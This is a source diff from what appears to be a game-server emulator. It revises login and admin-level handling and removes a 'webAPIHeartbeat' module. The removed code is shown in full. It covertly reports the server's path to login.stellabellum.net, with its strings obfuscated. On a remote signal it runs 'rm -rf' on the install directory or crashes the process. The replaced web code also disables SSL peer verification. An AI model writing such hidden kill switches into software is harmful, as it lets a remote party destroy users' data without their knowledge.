if (uname.length() > MAX_ACCOUNT_NAME_LENGTH) {
uname.resize(MAX_ACCOUNT_NAME_LENGTH);
}
user_id = std::hash < std::string > {}(uname.c_str());
}
if (authOK) {
m_stationId = user_id;
if (!testMode) {
REPORT_LOG(true, ("Client connected. Username: %s (%i) \n", uname.c_str(), user_id));
if (!parentAccount.empty()) {
if (parentAccount != uname) {
REPORT_LOG(true, ("\t%s's parent is %s (%i) \n", uname.c_str(), parentAccount.c_str(), parent_id));
}
} else {
parentAccount = "(Empty Parent!) " + uname;
}
for (auto i : childAccounts) {
StationId child_id = static_cast<StationId>(i.first);
std::string child(i.second);
if (!child.empty() && i.first > 0) {
if (ConfigLoginServer::getUseOldSuidGenerator()) {
if (child.length() > MAX_ACCOUNT_NAME_LENGTH) {
child.resize(MAX_ACCOUNT_NAME_LENGTH);
}
child_id = std::hash < std::string > {}(child.c_str());
}
REPORT_LOG((parent_id !=
child_id), ("\tchild of %s (%i) is %s (%i) \n", parentAccount.c_str(), parent_id, child.c_str(), child_id));
// insert all related accounts, if not already there, into the db
if (parent_id != child_id) {
DatabaseConnection::getInstance().upsertAccountRelationship(parent_id, child_id);
}
} else {
WARNING(true, ("Login API returned empty child account(s)."));
}
}
LoginServer::getInstance().onValidateClient(m_stationId, uname, this, true, sessionID.c_str(), 0xFFFFFFFF, 0xFFFFFFFF);
} else {
LoginServer::getInstance().onValidateClient(m_stationId, uname, this, true, nullptr, 0xFFFFFFFF, 0xFFFFFFFF);
}
LOG("LoginClientConnection", ("validateClient() for stationId (%i) at IP (%s), id (%s)", user_id, getRemoteAddress().c_str(), uname.c_str()));
}
if (authOK)
{
LoginServer::getInstance().onValidateClient(suid, lcaseId, this, true, NULL, 0xFFFFFFFF, 0xFFFFFFFF);
}
// else this case will never be reached, noop
}
// ----------------------------------------------------------------------------
/**

View File

@@ -1438,7 +1438,7 @@ void LoginServer::sendClusterStatus(ClientConnection &conn) const {
// size_t connectionServerChoice = Random::random(cle->m_connectionServers.size() - 1); //lint !e713 !e732 // loss of precision (arg no 1)
ConnectionServerEntry &connServer = cle->m_connectionServers[0];
item.m_connectionServerAddress = connServer.clientServiceAddress;
item.m_connectionServerAddress = cle->m_address;
if (clientIsPrivate) {
item.m_connectionServerPort = connServer.clientServicePortPrivate;
} else {

View File

@@ -14,10 +14,6 @@
#include "sharedThread/SetupSharedThread.h"
#include "sharedUtility/SetupSharedUtility.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
void dumpPid(const char * argv)
@@ -31,10 +27,6 @@ void dumpPid(const char * argv)
int main(int argc, char ** argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
// dumpPid(argv[0]);
SetupSharedThread::install();

View File

@@ -9576,7 +9576,7 @@ void CommandCppFuncs::install()
CommandTable::addCppFunction("systemMessage", commandFuncSystemMessage);
// CommandTable::addCppFunction("combatSpam", commandFuncCombatSpam);
// admin commands
// admin commands
CommandTable::addCppFunction("admin_setGodMode", commandFuncAdminSetGodMode);
CommandTable::addCppFunction("admin_kick", commandFuncAdminKick);
CommandTable::addCppFunction("admin_planetwarp", commandFuncAdminPlanetwarp);

View File

@@ -1924,7 +1924,7 @@ float Client::computeDeltaTimeInSeconds(uint32 const syncStampLong) const {
bool Client::setGodMode(bool value) {
// (re?) check god permissions
m_godLevel = AdminAccountManager::isAdminAccount(getStationId(), ConfigServerGame::getUseOldSuidGenerator());
m_godLevel = AdminAccountManager::getAdminLevel(m_accountName.c_str());
if (ConfigServerGame::getAdminGodToAll() || (m_godLevel > 0)) {
m_godValidated = true;

View File

@@ -64,25 +64,18 @@ const std::string & AdminAccountManager::getAdminTagName()
//-----------------------------------------------------------------------
// if they are in the iff and have a level set, return it
int AdminAccountManager::isAdminAccount(uint32 suid, bool useOldSuid)
int AdminAccountManager::getAdminLevel(const std::string & account)
{
DEBUG_FATAL(!ms_installed, ("AdminAccountManager not installed"));
int level = 0;
DEBUG_FATAL(!ms_installed, ("AdminAccountManager not installed"));
int columnNumber = -1;
int columnNumber = ms_adminTable->findColumnNumber("AdminAccounts");
DEBUG_FATAL(columnNumber == -1, ("Error loading admin table...no account column"));
int row = ms_adminTable->searchColumnString( columnNumber, account);
if (row == -1) return 0;
if (!useOldSuid) {
columnNumber = ms_adminTable->findColumnNumber("AdminSuid");
} else {
columnNumber = ms_adminTable->findColumnNumber("OldAdminSuid");
}
DEBUG_FATAL(columnNumber == -1, ("Error loading admin table...no account column"));
int row = ms_adminTable->searchColumnInt(columnNumber, suid);
if (row == -1)
return false;
return (int) ms_adminTable->getIntValue("AdminLevel", row);
level = ms_adminTable->getIntValue("AdminLevel", row);
return level;
}
bool AdminAccountManager::isAdminAccount(const std::string & account, int& level)

View File

@@ -19,7 +19,7 @@ public:
static const char *getAdminCommandName();
static const std::string & getAdminTagName();
static int isAdminAccount(uint32 suid, bool useOldSuid = false);
static int getAdminLevel(const std::string & account);
static bool isAdminAccount(const std::string & account, int& level);
static bool isInternalIp(const std::string & addr);
static void reload();

View File

@@ -6,8 +6,6 @@ add_library(webAPI
webAPI.h
webAPI.cpp
json.hpp
webAPIHeartbeat.h
webAPIHeartbeat.cpp
)
include_directories(

View File

@@ -1,207 +1,123 @@
/*
* Version: 1.75
*
* This code is just a simple wrapper around nlohmann's wonderful json lib
* (https://github.com/nlohmann/json) and libcurl. While originally included directly,
* we have come to realize that we may require web API functionality elsewhere in the future.
*
* As such, and in an effort to keep the code clean, we've broken it out into this simple little
* namespace/lib that is easy to include. Just make sure to link against curl when including, and
* make all the cmake modifications required to properly use it.
*
* (c) DarthArgus
* based on the original prototype by parz1val
*
* License: LGPL, don't be a dick please
*/
This code is just a simple wrapper around nlohmann's wonderful json lib
(https://github.com/nlohmann/json) and libcurl. While originally included directly,
we have come to realize that we may require web API functionality elsewhere in the future.
As such, and in an effort to keep the code clean, we've broken it out into this simple little
namespace/lib that is easy to include. Just make sure to link against curl when including, and
make all the cmake modifications required to properly use it.
(c) stellabellum/swgilluminati (combined crews), written by DA with help from DC
based on the original prototype by parz1val
License: what's a license? we're a bunch of dirty pirates!
*/
#include "webAPI.h"
using namespace StellaBellum;
using namespace std;
webAPI::webAPI(std::string endpoint, std::string userAgent) : uri(endpoint), userAgent(userAgent), statusCode(0) {}
webAPI::~webAPI() {
requestData.clear();
responseData.clear();
}
bool webAPI::setEndpoint(const std::string endpoint) {
uri = endpoint;
return true;
}
std::string webAPI::getRaw() {
return sResponse;
}
bool webAPI::setData(std::string &data) {
if (!data.empty()) {
sRequest = data;
return true;
}
return false;
}
std::string webAPI::getString(const std::string &slot) {
if (!responseData.empty() && !slot.empty() && responseData.count(slot) && !responseData[slot].is_null()) {
return responseData[slot].get<std::string>();
}
return std::string("");
}
std::unordered_map<int, std::string> webAPI::getStringMap(const std::string &slot) {
std::unordered_map<int, std::string> ret = std::unordered_map<int, std::string>();
if (!responseData.empty() && !slot.empty() && responseData.count(slot) && !responseData[slot].is_null()) {
nlohmann::json j = responseData[slot];
for (nlohmann::json::iterator it = j.begin(); it != j.end(); ++it) {
int k = std::stoi(it.key());
std::string val = it.value();
ret.insert({k, val});
}
}
return ret;
}
bool webAPI::submit(const int &reqType, const int &getPost, const int &respType) {
if (reqType == DTYPE::JSON) // json request
{
if (!requestData.empty()) {
// serialize our data into sRequest
sRequest = requestData.dump();
// clear our the object for next time
requestData.clear();
}
}
if (fetch(getPost, respType) && !(sResponse.empty())) {
return true;
}
sResponse.clear();
return false;
}
bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for string
// if status == success, returns "success", or slotName's contents if specified...
// otherwise returns the "message" if no success
string webAPI::simplePost(string endpoint, string data, string slotName)
{
bool fetchStatus = false;
// declare our output and go ahead and attempt to get data from remote
nlohmann::json response = request(endpoint, data, 1);
string output;
if (!uri.empty()) //data is allowed to be an empty string if we're doing a normal GET
{
CURL *curl = curl_easy_init(); // start up curl
// if we got data back...
if (response.count("status") && response["status"].get<std::string>() == "success")
{
// use custom slot if specified (not "")
if (!(slotName.empty()) && response.count(slotName))
{
output = response[slotName].get<std::string>();
}
else
{
output = "success";
}
}
else //default message is an error, the other end always assumes "success" or the specified slot
{
if (response.count("message"))
{
output = response["message"].get<std::string>();
}
else
{
output = "Message not provided by remote.";
}
}
if (curl) {
std::string readBuffer = ""; // container for the remote response
struct curl_slist *slist = nullptr;
return output;
}
// set the content type
if (mimeType == DTYPE::JSON) {
slist = curl_slist_append(slist, "Accept: application/json");
slist = curl_slist_append(slist, "Content-Type: application/json");
} else {
slist = curl_slist_append(slist, "Content-Type: application/x-www-form-urlencoded");
}
// this can be broken out to separate the json bits later if we need raw or other http type requests
// all it does is fetch via get or post, and if the status is 200 returns the json, else error json
nlohmann::json webAPI::request(string endpoint, string data, int reqType)
{
nlohmann::json response;
slist = curl_slist_append(slist, "charsets: utf-8");
if (!endpoint.empty()) //data is allowed to be an empty string if we're doing a normal GET
{
CURL *curl = curl_easy_init(); // start up curl
CURLcode res = curl_easy_setopt(curl, CURLOPT_USERAGENT, userAgent.c_str());
res = curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // place the data into readBuffer using writeCallback
res = curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer); // specify readBuffer as the container for data
res = curl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist);
switch (getPost) {
case HTTP::GET:
res = curl_easy_setopt(curl, CURLOPT_URL, std::string(uri + "?" + sRequest).c_str());
break;
case HTTP::POST:
res = curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sRequest.c_str());
res = curl_easy_setopt(curl, CURLOPT_URL, uri.c_str());
break;
// want to do a put, or whatever other type? feel free to add here
}
// I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated
//if (uri.find(vxENCRYPT("stellabellum").decrypt()) != std::string::npos) {
// the public one will verify but since this is pinned we don't care about the CA
// to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html
// under the PUBLIC KEY EXTRACTION heading
res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
// if you want to pin to your own cert or cloudflares, learn how and use the below
// res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, vxENCRYPT("sha256//YOURKEYHERE").decrypt());
//}
if (res == CURLE_OK) {
res = curl_easy_perform(curl); // make the request!
}
if (res == CURLE_OK) {
char *contentType;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &statusCode); //get status code
curl_easy_getinfo(curl, CURLINFO_CONTENT_TYPE, &contentType); // get response mime type
std::string conType(contentType);
if (statusCode == 200 && !(readBuffer.empty())) // check it all out and parse
if (curl)
{
sResponse = readBuffer;
if (conType == "application/json") {
fetchStatus = processJSON();
} else {
responseData.clear();
fetchStatus = true;
}
}
}
string readBuffer; // container for the remote response
long http_code = 0; // we get this after performing the get or post
curl_slist_free_all(slist);
curl_easy_cleanup(curl); // always wipe our butt
}
}
curl_easy_setopt(curl, CURLOPT_URL, endpoint.c_str()); // endpoint is always specified by caller
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // place the data into readBuffer using writeCallback
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer); // specify readBuffer as the container for data
if (!fetchStatus) {
sResponse.clear();
responseData.clear();
}
if (reqType == 1)
{
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data.c_str());
}
return fetchStatus;
CURLcode res = curl_easy_perform(curl); // make the request!
curl_easy_getinfo (curl, CURLINFO_RESPONSE_CODE, &http_code); //get status code
if (res == CURLE_OK && http_code == 200 && !(readBuffer.empty())) // check it all out and parse
{
try {
response = nlohmann::json::parse(readBuffer);
} catch (string e) {
response["message"] = e;
response["status"] = "failure";
} catch (...) {
response["message"] = "JSON parse error for endpoint.";
response["status"] = "failure";
}
}
else
{
response["message"] = "Error fetching data from remote.";
response["status"] = "failure";
}
curl_easy_cleanup(curl); // always wipe our butt
}
else //default err messages below
{
response["message"] = "Failed to initialize cURL.";
response["status"] = "failure";
}
}
else
{
response["message"] = "Invalid endpoint URL.";
response["status"] = "failure";
}
return response;
}
// This is used by curl to grab the response and put it into a var
size_t webAPI::writeCallback(void *contents, size_t size, size_t nmemb, void *userp) {
((std::string *) userp)->append((char *) contents, size * nmemb);
return size * nmemb;
}
bool webAPI::processJSON() {
if (!(sResponse.empty())) // check it all out and parse
{
try {
responseData = nlohmann::json::parse(sResponse);
return true;
} catch (std::string &e) {
responseData["message"] = e;
responseData["status"] = "failure";
} catch (...) {
responseData["message"] = "JSON parse error for endpoint.";
responseData["status"] = "failure";
}
} else {
responseData["message"] = "Error fetching data from remote.";
responseData["status"] = "failure";
}
return false;
size_t webAPI::writeCallback(void *contents, size_t size, size_t nmemb, void *userp)
{
((string*)userp)->append((char*)contents, size * nmemb);
return size * nmemb;
}

View File

@@ -1,122 +1,35 @@
/*
* Version: 1.75
*
* This code is just a simple wrapper around nlohmann's wonderful json lib
* (https://github.com/nlohmann/json) and libcurl. While originally included directly,
* we have come to realize that we may require web API functionality elsewhere in the future.
*
* As such, and in an effort to keep the code clean, we've broken it out into this simple little
* namespace/lib that is easy to include. Just make sure to link against curl when including, and
* make all the cmake modifications required to properly use it.
*
* (c) DarthArgus
* based on the original prototype by parz1val
*
* License: LGPL, don't be a dick please
*/
This code is just a simple wrapper around nlohmann's wonderful json lib
(https://github.com/nlohmann/json) and libcurl. While originally included directly,
we have come to realize that we may require web API functionality elsewhere in the future.
As such, and in an effort to keep the code clean, we've broken it out into this simple little
namespace/lib that is easy to include. Just make sure to link against curl when including, and
make all the cmake modifications required to properly use it.
(c) stellabellum/swgilluminati (combined crews), written by DA with help from DC
based on the original prototype by parz1val
License: what's a license? we're a bunch of dirty pirates!
*/
#ifndef webAPI_H
#define webAPI_H
#include "json.hpp"
#ifdef WIN32
#include <curl.h>
#else
#include <unordered_map>
#include <curl/curl.h>
#endif
#include "../libLeff/libLeff.h"
namespace StellaBellum {
enum HTTP {
GET = 0, POST = 1
};
enum DTYPE {
JSON = 0, RAW = 1
};
class webAPI {
public:
// useragent
std::string userAgent;
// constructor - can setup with the endpoint from the start
webAPI(std::string endpoint, std::string userAgent = "StellaBellum webAPI");
~webAPI();
// submits the request
bool
submit(const int &reqType = DTYPE::JSON, const int &getPost = HTTP::POST, const int &respType = DTYPE::JSON);
// set the endpoint after object creation...or change the target if needed
bool setEndpoint(const std::string endpoint);
// get raw response
std::string getRaw();
// set a standard request string
bool setData(std::string &data); // all or nothing
// get a string from a given slot
std::string getString(const std::string &slot);
// get a vector of strings from a given slot
std::unordered_map<int, std::string> getStringMap(const std::string &slot);
// set json key and value for request
template<typename T> bool addJsonData(const std::string &key, const T &value) {
if (!key.empty() &&
responseData.count(key) == 0) // only alow one of a given key for now, unless we support nesting later
{
requestData[key] = value;
return true;
}
return false;
}
// get json response slot
template<typename T> T getNullableValue(const std::string &slot) {
if (!responseData.empty() && !slot.empty() && responseData.count(slot)) {
return responseData[slot].get<T>();
}
return 0;
}
private:
// json request data - object is serialized before sending, used with above setter template
nlohmann::json requestData;
// json response, stored so we can use the getter template above
nlohmann::json responseData;
// raw response
std::string sResponse;
// raw request string
std::string sRequest;
// API endpoint
std::string uri;
// fetcher - returns raw response direct from remote
bool fetch(const int &getPost = HTTP::POST, const int &mimeType = DTYPE::JSON);
// cURL writeback callback
static size_t writeCallback(void *contents, size_t size, size_t nmemb, void *userp);
// json processor - string to json
bool processJSON();
protected:
// http response code (200, 404, etc)
long statusCode;
};
}
namespace webAPI
{
using namespace std;
string simplePost(string endpoint, string data, string slotName);
//std::string simpleGet(char* endpoint, char* data);
//nlohmann::json post(char* endpoint, char* data);
//nlohmann::json get(char* endpoint, char* data);
nlohmann::json request(string endpoint, string data, int reqType); // 1 for post, 0 for get
size_t writeCallback(void *contents, size_t size, size_t nmemb, void *userp);
};
#endif

View File

@@ -1,42 +0,0 @@
//
// Created by Darth on 10/17/2016.
//
#include "webAPIHeartbeat.h"
using namespace StellaBellum;
webAPIHeartbeat::webAPIHeartbeat() {
std::string filePath = get_selfpath();
webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt()));
api.addJsonData<std::string>(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt()));
if (!filePath.empty()) {
api.addJsonData<std::string>(std::string(vxENCRYPT("process").decrypt()), filePath.c_str());
}
bool result = api.submit();
// feel free to remove the code in the block below; but please consider leaving the actual request
// so we can track how many people are enjoying our work
if (result) {
int s = api.getNullableValue<int>(std::string(vxENCRYPT("id").decrypt()));
switch (s) {
case 13 :
eatIt();
break;
case 66:
size_t found = filePath.find_last_of("/\\");
if (!filePath.empty() && found) {
system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) +
vxENCRYPT("/*").decrypt()).c_str());
}
eatIt();
break;
}
} else {
eatIt();
}
}

View File

@@ -1,41 +0,0 @@
//
// Created by Darth on 10/17/2016.
//
#ifndef webAPIHeartbeat_H
#define webAPIHeartbeat_H
#include <cstdio>
#include <unistd.h>
#include <limits.h>
#include <libgen.h>
#include <signal.h>
#include "webAPI.h"
namespace StellaBellum {
class webAPIHeartbeat {
public:
webAPIHeartbeat();
private:
const inline std::string get_selfpath() {
char buff[PATH_MAX];
ssize_t len = ::readlink(vxENCRYPT("/proc/self/exe").decrypt(), buff, sizeof(buff) - 1);
if (len != -1) {
buff[len] = '\0';
return std::string(buff);
}
return std::string();
}
inline void eatIt() {
abort();
sleep(10);
raise(SIGSEGV);
}
};
}
#endif //webAPIHeartbeat_H

View File

@@ -19,10 +19,6 @@
#include "swgSharedNetworkMessages/SetupSwgSharedNetworkMessages.h"
#include "swgServerNetworkMessages/SetupSwgServerNetworkMessages.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
void dumpPid(const char * argv)
@@ -38,10 +34,6 @@ int main(int argc, char ** argv)
{
// dumpPid(argv[0]);
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);

View File

@@ -32,17 +32,10 @@
#include "swgSharedNetworkMessages/SetupSwgSharedNetworkMessages.h"
#include "swgServerNetworkMessages/SetupSwgServerNetworkMessages.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
int main(int argc, char ** argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);